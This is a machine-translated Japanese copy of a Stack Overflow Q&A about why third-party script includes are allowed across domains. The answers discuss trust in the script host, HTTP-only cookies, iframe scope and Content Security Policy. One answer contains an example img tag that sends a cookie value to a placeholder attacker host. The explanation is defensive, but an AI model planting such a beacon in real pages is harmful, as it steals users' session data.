質問

y.com から x.com 上の JavaScript ファイル (Google Analytics や jquery など) にリンクしても、クロスドメイン セキュリティの問題が発生しないのはなぜですか?

例えば:

y.com/index.html には次のようになります。

<script type="text/javascript" src="http://x.com/jsfile.js" />

これを行ってもよい場合とそうでない場合をどのように判断すればよいでしょうか?

役に立ちましたか?

解決

これは重大なセキュリティ ホールとなる可能性があるため、JavaScript ファイルをホストしているサイトを信頼する必要があります。

たとえば、そのコードはサイトにさらに script タグや img タグを挿入し、機密データをサードパーティに中継する可能性があります。

Same Origin ポリシーに関する David のコメントは誤解を招く可能性があります。データをリモート サイトに中継する古典的な方法は、リモート ドメインに img タグを挿入することです。

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />

このような img タグを動的に挿入するようにリモート ホスト上の JavaScript コードが変更された場合、サイトにセキュリティ ホールが発生する可能性があります。これらの問題の一部には、JavaScript からアクセスできない HTTP のみの Cookie を使用するなどの軽減策があります。

分析システムの例は素晴らしい例です。プロバイダーが自分の Cookie などの機密データを取得して遠隔地に送信することはないと信頼する必要があります。また、プロバイダーを信頼する必要があります。 彼らの システムは安全であり、ハッカーがサーバー上の JavaScript ファイルを変更することはできません。分析システムは通常、これらと同じ技術を使用して機能しますが、それが悪ではなく善のために使用されることを願っています。ある意味では、開発者が適切で安全なコードを書いているかどうか、秘密のバックドアが導入されているかどうかを心配するのと同じです。

に関しては なぜ それは許されています、それは単なる歴史的なものです。Web はセキュリティを念頭に置いて設計されていません。CSRF 攻撃、リプレイ攻撃、XSS 攻撃のいずれであっても、これらはすべて Web 設計の根本的な欠陥であり、現在 Web 開発者の懸念事項になっています。

他のヒント

データは無関係であるから来てどこに

、重要なことで使用のスコープです。

あなただけの別のドメインからスクリプトを得ている、それがロードされた場所からドメイン内のリソースへのアクセスを持っていないので、それはまだあなた自身のページのスコープ内で実行されます。

あなたが別のドメインからページを含むインラインフレームのように、クロスドメインの問題を抱えている状況では、2つの異なるスコープを持っています。 iframe内のページは、それがからロードされたドメインのスコープ内で実行されるので、それは、そのドメイン内のリソースにアクセスすることができますが、それは別のスコープであるとして、それはIFRAMEをホストしているページには何もアクセスすることはできません。

(注:用語「スコープ」が、一般的に、この文脈で使用されている場合、私は知らない、より良い、それを表す言葉があるかもしれません。)

なぜそれができるのか分かりません。ただし、コンテンツ セキュリティ ポリシー (CSP) を使用すると、この問題の発生を防ぐことができます。これは、Web アプリケーションによって送信される HTTP ヘッダーで、明示的に許可したドメイン以外からの JavaScript を読み込まないことを宣言します。

ライセンス: CC-BY-SA帰属
所属していません StackOverflow
scroll top